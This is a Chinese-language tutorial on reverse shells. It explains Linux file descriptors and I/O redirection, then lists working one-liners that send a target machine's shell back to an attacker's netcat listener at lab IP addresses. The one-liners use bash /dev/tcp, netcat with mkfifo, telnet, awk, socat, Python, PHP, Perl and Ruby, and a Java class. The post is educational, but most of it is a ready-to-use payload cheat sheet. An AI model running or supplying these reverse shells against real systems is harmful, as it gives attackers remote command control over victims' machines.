在介绍反弹链接的时候先说明什么是正向链接:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。而反弹shell是指攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。本质上是网络概念的客户端与服务端的角色反转。反弹shell简单来说就是通过命令让靶机的shell的控制权交到攻击者的机器中。
可能有人会问:我们都能够在靶机上直接执行命令了,为什么还反弹shell呢?这里有几种情况:
这些情况都可以通过反弹shell来解决。
想反弹shell只需要一行或者几行命令,但是这里面涉及到的东西日常比较少用,需要大概了解一下才能弄明白这些命令到底做了什么东西。
Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件,所有执行I/O操作的系统调用都会通过文件描述符。
当Linux启动的时候会默认打开三个文件描述符,分别是:
描述符 | 用途 | stdio流 |
---|---|---|
0 | 标准输入 | stdin |
1 | 标准输出 | stdout |
2 | 标准错误 | stderr |
文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)
一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。
重定向主要分为两种(其他复杂的都是从这两种衍生而来的):
<
、<<
>
、>>
重点:
<
是对标准输入 0 重定向 ,>
是对标准输出 1 重定向格式:(注意[n]与<之间没有空格)
[n]
说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果 n 省略就是0(标准输入)
example:
root@SYY:/home/syy# cat 0
解释: 解析器解析到 <
以后会先处理重定向,将标准输入重定向到file,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是cat就从file中读取指令了。
格式:
[n]>word
说明: 将文件描述符 n 重定向到 word 指代的文件(以写的方式打开),如果 n 省略则默认就是 1(标准输出)
example:
root@SYY:/home/syy# echo hello > file
root@SYY:/home/syy# cat file
hello
root@SYY:/home/syy# >file echo word
root@SYY:/home/syy# cat file
word
格式:
&> word
>& word
说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1
root@SYY:/home/syy# ls >&file
root@SYY:/home/syy# cat file
file
perl5
test.txt
格式:(这里所有字符之间不要有空格)
[n]<&[m]
[n]>&[m]
说明:
重点:
之前我们说过,重定向符号的顺序不能随便换,因为系统是从左到右执行的,我们下面就举一个例子
这个是先把标准输出stdout1
重定向到file文件中,然后把标准错误stderr2
重定向到标准输出所指向的文件中,也就是file。
这一个是先把标准错误stderr2
重定向到标准输出stdout1
所指向的文件,这里默认是屏幕,然后再把标准输出stdout1
重定向到file文件中。
格式:
exec [n] > file/[n]
上面的输入输出重定向将输入和输出绑定文件或者设备以后只对当前的那条指令有效,如果需要接下来的指令都支持的话就需要使用 exec 指令
重点:
格式:
[n]<>word
说明:以读写方式打开word指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入。
example:
root@SYY:/home/syy# exec 3<>file
root@SYY:/home/syy# ls >&3
root@SYY:/home/syy# cat file
file
perl5
test.txt
root@SYY:/home/syy# exec 3<>file
root@SYY:/home/syy# cat <&3
file
perl5
test.txt
学完了前置知识,接下来就看看反弹shell的原理部分。
实验环境:
首先在攻击机上开启监听端口:
nc -lvp 2333
然后再靶机上执行:
bash -i >& /dev/tcp/172.29.17.136/2333 0>&1
然后就可以看到攻击机控制了靶机的shell
命令解释:
/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的。但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信。
example:
#靶机输入
syy@ubuntu:~$ echo hello world > /dev/tcp/172.29.17.136/2333
#攻击机接收
syy@SYY:~$ nc -lvp 2333
Listening on SYY 2333
Connection received on SYY.mshome.net 1139
hello world
example:
#攻击机输入
syy@SYY:~$ nc -lvp 2333
Listening on SYY 2333
Connection received on SYY.mshome.net 2872
who are you
i am hacker!
#靶机接收
syy@ubuntu:~$ cat < /dev/tcp/172.29.17.136/2333
who are you
i am hacker!
把上述的两个命令组合起来并使用重定向:
bash -i >& /dev/tcp/172.29.17.136/2333
这样就把靶机的shell的标准输出和标准错误给重定向到了攻击机上,这时候我们靶机上已经无法显示东西,但是仍然能够输入命令(只是在靶机上看不见),而命令输出的结果在攻击机上显示。
这样还不够,攻击机还需要获得靶机的输入控制权,于是可以在命令的末尾加上把标准输入stdin0
重定向到标准输出或者标准错误输出所指向的文件即可:
bash -i >& /dev/tcp/172.29.17.136/2333 0>&1
bash -i >& /dev/tcp/192.168.91.128/2333 0>&1
bash -i >& /dev/tcp/192.168.91.128/2333 0<&1
bash -i >& /dev/tcp/192.168.91.128/2333 <&2
bash -i >& /dev/tcp/192.168.91.128/2333 0<&2
文件的读/写打开方式对于文件描述符来讲并没有什么区别
exec 5<>/dev/tcp/172.29.17.136/2333;cat <&5|while read line;do $line >&5 2>&1;done
解释:
exec 5<>/dev/tcp/192.168.91.128/2333;
这一句将文件描述符5重定向到了 /dev/tcp/192.168.91.128/2333
并且方式是读写方式,于是我们就能通过文件描述符对这个socket连接进行操作了。
cat <&5|while read line;do $line >&5 2>&1;done
首先从文件描述符5中读取传过来的命令,通过管道符传到后面的命令,从文件中依次读取每一行,将其赋值给 line 变量(当然这里变量可以很多,以空格分隔,这里我就举一个变量的例子,如果是一个变量的话,那么一整行都是它的了),之后再在循环中对line进行操作。并将操作结果的标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。
example:
nc如果版本是有 -e 选项的话就能够直接反弹shell,出于安全原因,Ubuntu自带的nc是不带这个选项的。
nc -e /bin/sh 192.168.91.128 2333
如果没有 -e 选项的话还可以使用:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.91.128 2333 >/tmp/f
mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
example:
攻击机上打开两个终端分别执行监听:
nc -lvp 4444
nc -lvp 5555
靶机中执行:
telnet 172.29.17.136 4444 | /bin/bash | telnet 172.29.17.136 5555
从4444端口获取到命令,bash 运行后将命令执行结果返回 5555 端口,攻击者主机上也是打开两个终端分别执行监听。
example:
awk 'BEGIN{s="/inet/tcp/0/172.29.17.136/2333";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:172.29.17.136:2333
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((' 172.29.17.136',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
php -r '$sock=fsockopen(" 172.29.17.136",5555);exec("/bin/sh -i <&3 >&3 2>&3");'
perl -e 'use Socket;$i=" 172.29.17.136";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby -rsocket -e'f=TCPSocket.open(" 172.29.17.136",2333).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
当我们使用Ubuntu作为服务器,是无法直接通过使用命令执行的函数如system()
等去执行bash
命令,会显示sh: 1: Syntax error: Bad fd number
,这个错误在centos中是不会出现的,这是因为ubuntu从6.10开始,默认使用dash(登录还是用bash),因为dash更快更高效。只要把bash链接到sh即可。
由于把Window作为服务器比较少见,在加上里面很多东西我也没见过,这里贴个链接,以备不时之需。
Windows 反弹 shell
Linux反弹shell(一)文件描述符与重定向
Linux 反弹shell(二)反弹shell的本质